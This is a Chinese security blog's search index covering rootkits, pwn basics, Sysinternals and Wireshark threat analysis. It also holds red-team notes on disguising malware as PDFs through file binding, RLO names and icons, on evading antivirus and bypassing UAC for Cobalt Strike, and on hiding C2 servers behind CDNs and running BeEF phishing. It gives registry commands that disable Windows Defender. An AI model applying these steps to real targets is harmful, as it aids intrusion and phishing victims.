-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathsearch.xml
292 lines (292 loc) · 276 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title><![CDATA[Linux LKM Rootkit简介与排查]]></title>
<url>%2F2024%2F08%2F07%2FLinux-LKM-Rootkit%E7%AE%80%E4%BB%8B%E4%B8%8E%E6%8E%92%E6%9F%A5%2F</url>
<content type="text"><![CDATA[https://xz.aliyun.com/t/14548 (记录某次”有趣的”挖矿木马排查),这篇关于应急的文章写的不错,排查点基本上都排查到了,感觉就是差了个在入侵时间点范围内被修改过的文件这个角度去排查,但瑕不掩瑜,整个文章的亮点还是比较多,尤其是LKM的发现,之前没对LKM什么了解,遂简单学习了下。 Loadable Kernel Modules (LKMs) 是现代操作系统内核(如 Linux 内核)中的一个重要特性。它们允许在运行时动态加载和卸载内核功能,而无需重新编译或重启内核。以下是对 LKMs 的详细介绍。 什么是 Loadable Kernel Modules (LKMs)?Loadable Kernel Modules 是一段可以在内核运行时动态加载或卸载的代码。它们通常用于扩展内核的功能,例如添加新的设备驱动程序、文件系统支持或网络协议。 LKMs 的优点 灵活性: 允许在不重启系统的情况下添加或移除内核功能。 开发便利: 开发和测试内核模块更为简便,因为不需要每次修改后都重启系统。 资源管理: 只在需要时加载模块,有助于节省系统资源。 安全性: 可以动态卸载存在漏洞的模块,减少安全风险。 常见的 LKM 类型 设备驱动程序: 用于支持新硬件设备。 文件系统: 添加对新的文件系统类型的支持。 网络协议: 支持新的网络协议或增强现有协议的功能。 系统调用: 添加或修改系统调用。 LKM 的基本操作加载模块使用 insmod 命令可以加载一个模块: 1sudo insmod mymodule.ko mymodule.ko 是你要加载的模块文件。 卸载模块使用 rmmod 命令可以卸载一个模块: 1sudo rmmod mymodule mymodule 是你要卸载的模块名称。 查看已加载模块使用 lsmod 命令可以查看当前加载的所有模块: 1lsmod 模块信息使用 modinfo 命令可以查看模块的详细信息: 1modinfo mymodule.ko 编写一个简单的 LKM以下是一个简单的 “Hello World” 内核模块示例。 代码示例创建一个名为 hello.c 的文件,内容如下: 1234567891011121314151617181920#include <linux/init.h>#include <linux/module.h>#include <linux/kernel.h>MODULE_LICENSE("GPL");MODULE_AUTHOR("Your Name");MODULE_DESCRIPTION("A simple Hello World LKM");MODULE_VERSION("0.1");static int __init hello_init(void) { printk(KERN_INFO "Hello, World!\n"); return 0;}static void __exit hello_exit(void) { printk(KERN_INFO "Goodbye, World!\n");}module_init(hello_init);module_exit(hello_exit); 编译模块创建一个名为 Makefile 的文件,内容如下: 1234567obj-m += hello.oall: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modulesclean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 然后运行以下命令编译模块: 1make 编译成功后会生成一个 hello.ko 文件。 加载和卸载模块加载模块: 1sudo insmod hello.ko 查看内核日志以确认模块加载成功: 1dmesg | tail 卸载模块: 1sudo rmmod hello 再次查看内核日志以确认模块卸载成功: 1dmesg | tail LKM Rootkit 排查 使用 dmesg 命令查看内核日志,寻找可疑的加载或卸载模块的日志。1dmesg | grep module 之后find一下相关的文件,然后上传到云沙箱上进行扫描分析安全性考虑 尽管 LKMs 提供了很大的灵活性,但也带来了潜在的安全风险: 恶意模块: 攻击者可以加载恶意模块,获取内核级别的权限。 稳定性: 不稳定或有缺陷的模块可能导致系统崩溃。 签名验证: 使用模块签名验证可以确保只有经过认证的模块被加载。 总结Loadable Kernel Modules 是扩展内核功能的重要工具,提供了灵活性和开发便利性。通过正确的开发和管理,可以有效地利用 LKMs 来增强系统功能,同时需要注意安全性和稳定性问题。]]></content>
</entry>
<entry>
<title><![CDATA[pwn basic]]></title>
<url>%2F2023%2F03%2F15%2Fpwn-basic%2F</url>
<content type="text"><![CDATA[栈溢出常见利用方式ret2textret2syscallret2shellcoderet2libcropchain栈溢出防护canary CANNARY(栈保护) –金丝雀 又称为stack guard1金丝雀,以前矿工进入矿坑时候会带一只金丝雀下去,如果矿坑内有有毒气体,金丝雀就会鸣叫甚至死亡,同样这个canary也是缓冲区溢出攻击一种检测手段,当启用栈保护后,函数开始执行的时候会先往栈里插入cookie(金丝雀)信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。 DEP NX(DEP)(数据执行保护 Data Execution Prevention)12NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。可执行的地方不能写,可写的地方不能执行 ASLR123456789内存地址随机化机制(address space layout randomization),有以下三种情况:0 - 表示关闭进程地址空间随机化1 - 表示将mmap的基址,stack和vdso页面随机化2 - 表示在1的基础上增加堆(heap)的随机化每次程序执行时,stack heap library的位置都不一样 PIE PIE (Position Independent Execution)1开启后,code与data都会跟着ALSR RELRO1234567891011Relocation Read-OnlyPartial RELRO GOT可写Full RELRO Load time 时会将所有function resolve完毕 GOT不可写 got hijacking]]></content>
</entry>
<entry>
<title><![CDATA[CTF之RSA笔记]]></title>
<url>%2F2022%2F04%2F19%2FCTF%E4%B9%8BRSA%E7%AC%94%E8%AE%B0%2F</url>
<content type="text"><![CDATA[sagemath sagemath安装 有时候需要使用crypto库那么需要pip安装一下 pip install pycryptodome,注意 1.需要在sagemath shell中执行 2.可能需要fq 3.需要管理员权限执行 sagemath 的目录和windows的目录关系,直接看图吧]]></content>
</entry>
<entry>
<title><![CDATA[web扫描笔记]]></title>
<url>%2F2022%2F04%2F17%2Fweb%E6%89%AB%E6%8F%8F%2F</url>
<content type="text"><![CDATA[TL;DR 作为一个安全从业人员,必须的有自己的扫描器工具,当然可以自己开发,也可以使用现有的成熟方案,之前用awvs比较多,vps上安装docker,现在awvs也都有docker版本的且为破解版的,pull一下很方便,当时也有不方便的地方,就是扫描速度比较慢,可能很早之前感兴趣的目标放进去了,过一段时间都快忘记了,所以并不太具有“实效”性。而发现现在使用xray+brup的这种组合比较好,被动式扫描,会基于你点击的链接进行扫描,我们一般在测试某个网站的时候必定使用的工具就是burpsuite,可以使用burpsuite的重放功能对目标进行手动测试,而且现在的burp(破解版)也有扫描的功能,也比较强大,然后联动xray,有时候就一直开着xray在那里一顿操作,xray都会把你点击的url进行扫描,相当于多了一个帮手帮你去检测。 关于xray如何联动burp网上有很多的教程,这里就不介绍了。]]></content>
</entry>
<entry>
<title><![CDATA[捆绑钓鱼]]></title>
<url>%2F2022%2F04%2F13%2F%E6%8D%86%E7%BB%91%E9%92%93%E9%B1%BC%2F</url>
<content type="text"><![CDATA[TL;DR 不是什么新技术,只是记录自己在探索实践过程中遇到的问题以及如何解决相应的问题,留存笔记以免忘记。介绍 捆绑的意思就是恶意程序以一个正常的程序(可以是程序也可以是文件如doc、pdf、jpg等)为载体,当这个“程序”执行的时候恶意程序即可运行。用于捆绑钓鱼的工具有很多,像是BDF应该是比较早的一款工具,但现在好像是不怎么免杀了,前段时间看过现在都在用NimFileBinder这个工具进行捆绑,且免杀一些常见杀软,这个主要是利用了Nim这个小众语言做的(类似go,一些小众语言有时能做到很好的免杀)。我简单看了下作者的代码,整体还是比较简单的,对可执行文件的加密以及直接cmd /c 执行程序,作者也说了代码比较粗糙,其中还有两个注意点,比如要修改代码进行恶意程序自删除,还有绕过杀软的一个小技巧,这个在使用过程当中可以自己去适当修改。捆绑测试 这里我们首先是利用工具Shellcode_Memory_Loader生成一个免杀exe可执行文件(注意这个工具是使用go进行编译的),然后利用nimFileBinder工具捆绑pdf或者jpg文件等,首先是安装Nim,关于这个编译器的安装我之前是网上看的文章,然后在linux安装结果一大堆坑(主要是gfw的问题),就不过多说了,后面看到这篇文章才去发现还是在windows上安装更适合我,XSS Flash弹窗钓鱼,这篇文章里面就提到了在windows下安装nim以及一些nim库的问题,注意安装strfmt、nimcrypto的时候需要fq。安装完成之后就可以对相应的exe文件进行绑定了,绑定完成这只是第一步。后缀伪装 第一步绑定完成之后其实还是exe可执行文件,当然如果你要是直接绑定的exe文件这一步就可以跳过了(一般都是比较信任的人才会去点exe,而且有时候一些钓鱼场景里需要我们制作的是jpg或者pdf),就不需要伪装后缀了,毕竟受害者是要看pdf的,你发一个exe的后缀明显不太合适,关于后缀伪装有两种方式,一种是利用RLO的Unicode反转文件后缀钓鱼,还有一种是在后面填充大量的空格。如图所示 当然拉长文件名(名称)也是能够看到异常的,且文件类型列也是应用程序有问题的。图标伪装 第三步是图标伪装,后缀伪装完成之后还有默认的ico,很明显不是pdf或者jpg,那么是否有修改ico的方式,网上有一些修改ico的工具,比如resourcehacker工具,这个工具的原理应该是识别windows可执行文件的rsc区然后进行修改,但当我在测试的时候却发现我这里修改我之前使用Shellcode_Memory_Loader工具编译的exe并不能行,而其它的exe可以成功,猜测可能是因为go编译的原因,然后一番搜索之后发现原来go编译的时候可以进行图标的自定义,参考文章教你为Win下的Go程序添加图标,当然在编译的时候注意直接 go build -ldflags=”-H windowsgui” 就行 不要加xxx.go,否则生成失败。当然这里还是得有windows常见默认文件ico,网上搜了半天没搜到合适的就用png图片转ico做了个粗糙版的默认ico,如果你需要pdf.ico、jpg.ico可以找我分享给你~reference 红蓝对抗之邮件钓鱼攻击 常见钓鱼手法]]></content>
</entry>
<entry>
<title><![CDATA[cs免杀上线及使用注意事项]]></title>
<url>%2F2022%2F04%2F12%2Fcs%E5%85%8D%E6%9D%80%E4%B8%8A%E7%BA%BF%E5%8F%8A%E4%BD%BF%E7%94%A8%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9%2F</url>
<content type="text"><![CDATA[cs免杀 在上一篇cobaltstrike cdn上线隐藏c2 ip 之后,发现目标机器是win10,而win10一般都会开启windows defender(后面都简称wd)以及uac。 第一个问题就是如果绕过windows defender,网上有很多相关的免杀技术文章,有些已经过时有些还可以使用,我在测试了几个之后发现这篇文章介绍的技术目前还是可以bypass wd以及某数字杀软的,参考文章CS shellcode内存加载器免杀及实现。需要使用golang进行编译,注意编译时候添加选项 -ldflags=”-H windowsgui”,这样就没有黑框了。当然还可以进一步给程序加壳,加壳的话可以使用safengine。 第二个问题就是我们接收到的beacon一般是管理员组的用户,但想要执行一些特殊操作,比如想要执行hashdump或者其他特权命令的时候,需要bypass uac. 12关闭wd reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f,开启wd reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 0 /t REG_DWORD /f) 那么如何bypass uac 呢?同样网上有很多相关的文章,其中当属 hfiref0x的UACME较为流传广泛,且作者一直在更新这个工具(https://github.com/hfiref0x/UACME),~~自己没有去编译这个工具~~,而是使用了另外一款工具,https://github.com/0x9ef/golang-uacbypasser,也是glang写的,用了一下效果还可以,但不免杀,进行bypass uac的时候会被wd干掉,所以还需做一下免杀(或者开启vnc desktop pid x86/64 low/high 远程桌面连接上去之后手动关闭wd)。cs上执行命令 shell main.exe /o /path artifact.exe,之后上线的就是bypass的beacon,这个beacon就直接可以 hashdump以及一些特权操作了。 注意事项 1.大家在下载和使用cs的时候一定要去校验哈希,防止被黑吃黑,cs4.4下载地址https://github.com/k8gege/Aggressor/releases/tag/cs,以及到官方check哈希,https://verify.cobaltstrike.com/,然后配置https://github.com/Twi1ight/CSAgent 进行破解,这样用起来会比较放心。 2.在目标机器上执行命令的时候一定要非常小心,要执行的命令首先在测试机上测试一下,否则很容易被一些杀软动态查杀给干掉(然后你来之不易的beacon就掉线了)。比如这个脚本执行的时候 3.teamserver经常掉线或者执行命令非常卡的时候可以考虑换个网络好点儿的vps,否则真的非常崩溃,且更换vps其实也很简单,之前的文章中cdn架构中也只需要修改cloudflare的dns一处即可。 4.cs的sleep心跳间隔默认是60s,可以设置成2s,0s不建议,因为一直保持连接可能会被发现并拦截。 5.进程迁移之后,建议unhook ntdll.dll 可以防止一些杀软的查杀。 6.cs还有一些特征会被wd进行查杀,建议在使用的时候还是进行进一步的免杀,参考文章对cobaltstrike4.4的简单魔改,以及b站上视频从0开始学免杀 7.有时候我们拿到beacon之后如果不及时去迁移进程及权限维持很有可能会出现掉线(尤其是钓鱼的时候往往又不太方便第二次钓鱼),所以这个时候就需要我们收到beacon之后能及时知晓,这里有很多种方法,比如上线之后发送到微信或者钉钉,可以使用上线通知插件。123如果想使用免费且支持微信模板消息推送的方式可以移步:https://github.com/lintstar/CS-PushPlus如果有订阅 ServerChan 的企业微信推送通道可以移步:https://github.com/lintstar/CS-ServerChan]]></content>
</entry>
<entry>
<title><![CDATA[beef搭建踩坑及隐匿]]></title>
<url>%2F2022%2F04%2F03%2Fbeef%E6%90%AD%E5%BB%BA%E8%B8%A9%E5%9D%91%E5%8F%8A%E9%9A%90%E5%8C%BF%2F</url>
<content type="text"><![CDATA[TL;DR 搭建基础工具cs之后,想着怎么搭建个钓鱼平台,看了像是flash钓鱼、windows凭据钓鱼、google页面钓鱼、印象笔记钓鱼,发现xss平台beef也都有这些工具,那为何不搭建个beef平台更方便呢,之前搭建过beef,但都也只是简单测试用,并没有真正去有效使用,实战使用起来就会发现一些问题。中间过程 首先第一个问题,因为要attack的是一个https网站,如果插入的为http://ip/hook.js,浏览器的安全策略不允许这样干,所以beef要开启https功能,开启https功能很简单,按照github上的wiki,修改config.yaml文件中的beef.http.https.enable 为true即可,但因为beef为不信任证书,所以网站加载hook.js还是不行,解决办法就是给申请一张受信任证书,那自然就想到letsencrypt的免费https证书,然后还有域名的话可以去freenom上申请(域名申请可以参考cs那篇文章,可以选择适当的域名,比如 cdn.domain.com 啥的),其实在这里除了自己申请域名之外也可以使用ngrok(参考)。 第二个问题是证书出问题,自己在申请好证书之后,将beef_cert.pem和beef_key分别修改为fullchain.pem和privkey.pem,发现还是报错,查询了一会儿也没解决问题,一时陷入僵局。冷静思考了一会儿,想想自己之前搭建ctfd平台的时候,使用了nginx做了反向代理,当时的证书是没有这个问题的,那么尝试一下看行不行,结果是可行(参考https://shirmy.me/article/12)。 第三个问题,beef默认端口是3000,最开始自己尝试使用官方的github的docker进行构建,但是每次修改config.yaml都要重新构建镜像,而构建这个镜像又非常耗时,所以最后还是使用install脚本进行安装和调试,在调试过程中,发现直接访问beef后台以及hook.js 没有问题,但是并没有上线,打开浏览器网络发现请求的是域名的3000端口,这个时候修改beef.http.public.port为443即可。 本来以为处理这个问题应该很快,两三个小时就能搞定,结果断断续续花了两天时间才整完,当然在整个问题的解决过程当中自己也查看了beef的wiki,使自己对beef也有了更进一步的了解,只是http下的public和https让我一开始没怎么搞懂,费了半天劲。 附上nginx配置截图 然后看下beef的主要配置截图 除此之后beef还可以和msf联动。可参考文章:https://blog.csdn.net/u014029795/article/details/116755248https://github.com/beefproject/beef/issues/1322 完成联动之后就可以使用msf针对浏览器的一些exploit攻击。]]></content>
</entry>
<entry>
<title><![CDATA[cobaltstrike cdn上线隐藏c2 ip]]></title>
<url>%2F2022%2F03%2F29%2Fcobaltstrike-cdn%E4%B8%8A%E7%BA%BF%E9%9A%90%E8%97%8Fc2-ip%2F</url>
<content type="text"><![CDATA[TL;DR 使用公众号写了一些文章,不太方便持续更新和修改,所以把一些公众号文章搬运过来,在博客留存一下。笔记记录 最近测试了cobaltstrike cdn上线隐藏c2 ip,简短记录一下。 参考了文章 cobalt strike cdn上线笔记,文章没什么问题,但在实际测试过程当中遇到了一些坑点,特此记录一下。 首先自己按照文章搭建好之后发现上不了线 首先排查一下是不是软件的问题,自己用的cs4.3,http的上线没有问题,故排除是cs工具问题 自己用的openjdk,当时怀疑是不是自己用来openjdk的问题,我看有些文章上说是oracle jdk可能会好点儿,但是oracle jdk下载比较费劲,得使用oracle账号登录,费了半天劲发现不是java问题 排查cdn问题,自己ping了一下自己的cdn解析,发现没有问题,而且使用浏览器访问script web delivery 网页的powershell也没有问题,故排除cdn dns配置问题。 后面再次对比文章,发现自己没有开启cloudflare的开发模式,开启之后发现可以上线,但是执行命令没有回显。 wireshark抓包分析没找到原因。 最后搜索文章发现如下两篇文章 CobaltStrike4.4汉化破解及特征去除 Cobalt-Strike去特征配置Nginx反向代理CDN与Cloudflare-Worker 没错,我用的就是这个jquery malleable-c2 profile,最终问题解决,成功上线。]]></content>
</entry>
<entry>
<title><![CDATA[虚拟化笔记]]></title>
<url>%2F2021%2F06%2F01%2F%E8%99%9A%E6%8B%9F%E5%8C%96%E7%AC%94%E8%AE%B0%2F</url>
<content type="text"><![CDATA[TL;DR 此笔记用于记录qcow2后缀的文件如何转换成vmware格式 以及如何直接运行qcow2. qcow2转换成vmware格式1qemu-img convert -f qcow2 myImage.qcow2 -O vmdk myNewImage.vmdk qcow2转换成vmdk 如何使用vmware软件导入vmdk1 如何使用vmware软件导入vmdk2 server2008转换后启动蓝屏如何解决 qcow2转换成virtual box格式12#from https://gist.github.com/mamonu/671038b09f5ae9e034e8qemu-img convert -O vdi gnome.qcow2 gnome.vdi VirtualBox虚拟机怎么导入已经存在的vdi文件 mac上运行qcow2 qemu-system-x86_64命令总结 12#常用命令qemu-system-x86_64 -m 4096 -smp 1 -drive file=xxx.qcow2 如何在虚拟机上发送control+alt+del键 1231.ALT+CTRL+2进入命令行界面2.命令行输入sendkey alt-ctrl-delete3.ALT+CTRL+1切换回图形界面 其他 如何修改 VMware Fusion 中的虚机网络 IP 地址段]]></content>
</entry>
<entry>
<title><![CDATA[学习参考]]></title>
<url>%2F2021%2F05%2F28%2F%E5%AD%A6%E4%B9%A0%E5%8F%82%E8%80%83%2F</url>
<content type="text"><![CDATA[TL;DR 因为会不断有学员问如何学习xx领域的经验,所以搜集整理了一些网上的参考资源供学习者参考java代码审计 学习Java代码审计时4个常见问题,几乎每个学员都会遇到 java代码审计之路]]></content>
</entry>
<entry>
<title><![CDATA[蓝队必备技能之-systeminternal工具集使用]]></title>
<url>%2F2020%2F11%2F05%2F%E8%93%9D%E9%98%9F%E5%BF%85%E5%A4%87%E6%8A%80%E8%83%BD%E4%B9%8B-systeminternal%E5%B7%A5%E5%85%B7%E9%9B%86%E4%BD%BF%E7%94%A8%2F</url>
<content type="text"><![CDATA[TL;DR 在应急遇到windows系统的时候经常会使用systeminterna suite套件,这个套件是由Mark Russinovich开发,systeminternals suite工具套件是免费的,大家可以从这里下载的到。最早的这些工具都只是命令行的,后面被微软采购之后在很多工具上增加了图形化界面。 systeminternals 套件有非常多好用的工具,这些工具能够帮助我们很深入的去分析系统或者进行应急响应,同样当攻击者上传这些工具到系统上的时候,它同样能够提供给攻击者很多有价值的信息,例如psexec、ShellRunas都是攻击者的利器。 可以说无论是攻击方还是防守方都需要对systeminternals这个工具套件进行了解,本篇文章就依次对常见的工具做简单介绍以及对autoruns、procexp、procmon、tcpview工具使用注意事项进行介绍。常见工具介绍当我们下载完成打开文件夹的时候会发现很多的工具,现在简单列举一些常用工具。 AccessChk 权限检查工具,可以检查文件、文件夹、注册表等权限 AccessEnum 文件系统全览以及注册表安全设置 AdExplorer 域环境活动目录查看和编辑器 AdInsight LDAP实时监控工具,用来域环境的一些应用 AdRestore 恢复删除的AD对象 Autologon 快速设置自动登录 Autoruns 显示所有登录启动项 BgInfo 显示计算机相关信息,例如计算机名称、IP地址信息等 DBgview 输出和显示debug信息 DiskMon 记录和显示所有磁盘活动信息 ListDLLs 显示进程所加载的dlls LogonSessions 列举当前活动的登录sessions Procexp 显示进程相关信息 Procmon 进程实时监控 PsExec 允许你在远程的系统上执行命令 PsPing ping功能的补充 PsKill 结束本地或者远程操作系统上的进程 PsList 显示当前计算机上进程相关信息,包括进程名、进程号、内存信息等 PsLoggedOn 显示谁登录在本机或者远程机器上 PsLogList 允许本地或者远程对日志进行查询、保存以及删除等 PsPasswd 允许本地或者远程修改密码 ShellRunas 允许你使用不同的账号运行程序 Sysmon 监视和记录系统活动 TCPView 显示当前所有tcp和udp信息 ZoomIt 非常好用的放大镜 当然官方网站已经对这些工具做了很好的分类,分别为文件和磁盘工具集、网络工具集、进程工具集、安全相关工具集、系统信息工具集、其它工具。如下图所示:Autoruns 在系统入侵之后,攻击者为了权限维持极有可能在系统上留后门,那么autoruns可以说是最强大的开机启动项检查工具了(没有之一),其检查项包括计划任务、服务、驱动、注册表、WMI等。 注意右键以管理员方式运行autoruns工具,否则可能会有一些登录启动项查看不到,当你运行的时候那么这个工具就会扫描系统上的一些常见启动项。 除了查看功能,当选中某个条目时候还有删除、打开路径、上传virustotal检测、属性等功能。 autoruns默认会隐藏windows条目,就是有windows签名的在会被隐藏,这个时候要留意时候有windows自带工具的权限维持,在查看的时候要注意将options->hide microsoft entries的勾去掉。 关于autoruns检查项细节可参考文章Autoruns ProcExp 官方介绍 ProcExp 即process explorer,进程浏览器。用来查看计算机上运行的进程的状态。(CPU、内存、句柄、加载dll、线程及堆栈等)。 打开程序之后会显示一些默认的列,这些显示的列可根据个人喜好进行定制化,比如进程描述、进程状态等。 此外显示项中不同颜色也代表了不同的含义,例如绿色代表新创建的进程,红色代表进程结束、紫色代表当前用户所运行的进程、粉色代表服务、灰色代表挂起了的进程,而且这个颜色方案也可以自定义。 选中某个进程之后,右键可以结束进程、结束进程树、重启进程、挂起进程、dump进程等,双击条目之后可以看到进程的可执行文件以及参数信息、线程、TCP/IP、权限、环境变量、可打印字符串等信息。 除此之外还有一款类似的工具process hackerProcMon 官方介绍 当怀疑某个进程有问题的时候进行深入排查实时查看这个进程进行了哪些操作,或者实时检测系统某类活动(例如创建、删除文件、修改注册表等)的时候都可以使用procmon,这个工具提供了非常强大的过滤查询语句。这个工具有点类似linux下的strace命令。 此外渗透中也可能用到procmon例如渗透中的procmon。 以及在dll劫持测试的时候也可能用的到。TcpView 官方介绍 TcpView不仅仅可以监测tcp的网络连接还可以监测UDP的,如图所示 如果需要将ip解析成域名可以在options下拉菜单勾选Resolve Address.Address. 当然也有命令版本的tcpview TcpvconSysmon 官方介绍 Sysmon用来监视和记录系统活动,并记录到windows事件日志,可以提供相关进程创建、网络连接和文件创建更改时间等详细信息 123456789使用方法:-c 更新或显示配置-h 指定hash记录的算法-i 安装,可用xml文件来更新配置文件-l 记录加载模块,可指定进程-m 安装事件清单-n 记录网络链接-r 检测证书是否撤销-u 卸载服务和驱动 将Sysmon注册到Windows系统中 Sysmon.exe -accepteula -i -n 注意:32 位系统用 Sysmon.exe,64 位 Windows 推荐使用 Sysmon64.exe。注册完成后,在「事件查看器」——「应用程序和服务日志」——「Microsoft」——「Windows」下会多出一项「Sysmon」文件夹,其中记录了 Sysmon 写入到 Event Log 中的所有事件。如果要取消 Sysmon 对系统的监控以及对事件日志的写入操作,可以使用以下命令:Sysmon64.exe -u 此外如果想要单看DNS查询日志,也可在事件查看器中单独设置。在「事件查看器」——「应用程序和服务日志」——「Microsoft」——「Windows」——「DNS ClientEvents 」,右键「Operational 」——选择「启用日志」即可。 Sysmon tools Sysmon configuration file template with default high-quality event tracing 更多使用技巧可参考 应急响应:三款实用的Sysmon辅助分析工具ReferenceLive Analysis with sysinternals]]></content>
</entry>
<entry>
<title><![CDATA[wireshark和威胁分析]]></title>
<url>%2F2020%2F06%2F09%2Fwireshark%E5%92%8C%E5%A8%81%E8%83%81%E5%88%86%E6%9E%90%2F</url>
<content type="text"><![CDATA[12文章已首发至先知平台https://xz.aliyun.com/t/7802 TL;DR 前段时间看了一个介绍wireshark和威胁分析相关的议题(视频演讲和pdf见参考链接),现在抽出点儿时间总结和记录一下。 由于工作需要,那段时间搜集和整理了wireshark基本使用和技巧相关资料,但是总感觉不太完整不够深入,直到看到这个议题之后,深深感觉外国佬是真的细,真的强。 wiresharkwireshark简述 wireshark主要用在网络故障排查、协议分析、流量统计、威胁发现等方面,是安全、运维、开发等从业人员必备技能之一。wireshark抓取OSI七层协议所有数据包并根据内置规则进行协议解析为友好可读的数据实时展示给用户,也可保存下来留后分析。此外类似的抓包工具还有tshark和tcpdump,但由于tshark和tcpdump都是没有GUI且不够友好,所以目前使用wireshark的人更多一些。 过滤器 这里要注意区分一下捕获过滤器和应用显示过滤器,捕获过滤器是有选择性的捕获特定数据包,而应用显示过滤器是在开始抓包之后,过滤显示已经抓到的包。捕获过滤器的优先级更高,它能够避免抓取的数据包过大但也可能会错失一些“重要”数据包。 捕获过滤器遵循BPF(Berkeley Packet Filter)语法例如 12345678host xxx.xxx.xxx.xxxnot arnet xxx.xxx.xxx.xxx/xxdst host xxx.xxx.xxx.xxxport xxiptcp port xxtcp portrange xx-xx 一些恶意软件的捕获过滤器语句Blasater Worm:• dst port 135 and tcp port 135 and ip[2:2]==48Welchia Worm:• icmp[icmptype]==icmp-echo and ip[2:2]==92 and icmp[8:4]==0xAAAAAAAALooking for worms calling C2s:• dst port 135 or dst port 445 or dst port 1433 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) = 0 and src net 192.168.0.0/24Heartbleed Exploit:• tcp src port 443 and (tcp[((tcp[12] & 0xF0) >> 4 ) 4] = 0x18) and (tcp[((tcp[12] & 0xF0) >> 4 ) 4 + 1] = 0x03) and (tcp[((tcp[12] & 0xF0) >> 4 ) 4 + 2] < 0x04) and ((ip[2:2] - 4 (ip[0] & 0x0F) - 4 * ((tcp[12] & 0xF0) >> 4) > 69)) 应用显示过滤器常用语法• ICMP traffic: icmp• Source or Destination IP: ip.addr==[x.x.x.x]• Source IP: ip.src==[x.x.x.x/x]• Windows Services: smb || nbns || dcerpc || nbss || dns• Filter out noise: !(arp or icmp or dns)• Search exact ASCII text in TCP packets: tcp contains [blah] wireshark导出对象 wireshark导出对象功能可以导出压缩包、图片、二进制文件等,打过ctf的可能使用过这个技巧。这里不做展开介绍。 wireshark个人配置 常见的软件一般都有个人配置的功能,wireshark也一样,你可以定制显示颜色规则、显示的列、对不同协议的定制等等。 这里重点关注一下定制化显示不同的列,wireshark默认只是显示包编号、时间戳、源ip、目的ip、协议、数据包长度、数据包简要信息,但我们可以根据不同的需求进行定制.例如我们可以显示端口的信息。 友好的显示时间 导出个人配置,可以讲自己常用的配置保存下来移植到其它电脑或者分享给他人。 将协议中的某个字段设置为列(也可以将某个字段设置为过滤器) 显示ip地址归属地 可参考How To Use GeoIP With Wireshark wireshark协议统计和分析 这里主要能够看到抓包的一些属性(时间、大小等)还有流量中协议的分级占比、以及通信时长等信息。 小问题 不知道大家有没有遇到并思考过这样一个问题,就是我明明通过无线连接的网络,但使用wireshark抓包抓到的是ethernet协议数据包,而不是802.11协议的数据包,这是因为操作系统或网卡驱动程序已经把802.11 转换成以太网协议了,当然你也设置成抓到802.11协议,这个时候需要修改捕获接口选项为监控模式。 参考链接 why-do-i-see-ethernet-ii-protocol-in-wireshark-in-wireless-connection promiscuous-vs-monitoring-mode-d603601f5fa 威胁分析基础协议 在分析威胁之前首先应该先了解一些基础的协议流量特征例如icmp、snmp、telnet、ssh、smb等,这里议题作者已经专门制作好了,大家可以去下载并熟悉相应协议的结构和流量的特征。 在线流量分析 cloudshark 在线分析流量,高亮显示恶意流量和行为,30天试用期 PacketTotal 在线分析流量,高亮显示恶意流量和行为,免费使用 NetworkMiner工具 图形化界面流量分析工具,有免费和收费版本 malware-traffic-analysis.net 1300+恶意软件流量样本,由著名防火墙palo alto公司威胁狩猎团队维护 此外还有一些其它有用的链接https://github.com/Security-Onion-Solutions/security-onion/wiki/Pcapshttps://wiki.wireshark.org/Toolshttps://wiki.wireshark.org/SampleCaptures 恶意样本分析 恶意样本分析有如下的网站资源• VirusTotal• Hybrid-Analysis• Malwr• Reverse.it• Cuckoosandbox (on-prem) IOC Indicators of Compromise ,可以理解为拥有某个特征之后就可以被打标记为某个恶意软件了,这个特征可能是url、ip、样本的哈希值等。 实战分析 在作者议题中作者提供了几个非常精彩的威胁分析实验场景,其中包括imcp隧道、netcat文件传输、netcat反连shell、数据泄漏、勒索软件、供应链攻击等。感兴趣的话大家可以去下载并进行练习。 当然我这里只是对议题进行简单总结概括,如果感兴趣的话大家可以去看一下Reference链接里原作者的视频和课件。最后如果你有一些更好的trick欢迎留言XD Reference议题介绍议题资料下载]]></content>
</entry>
<entry>
<title><![CDATA[cobaltstrike dns beacon]]></title>
<url>%2F2020%2F04%2F05%2Fcobaltstrike-dns-beacon%2F</url>
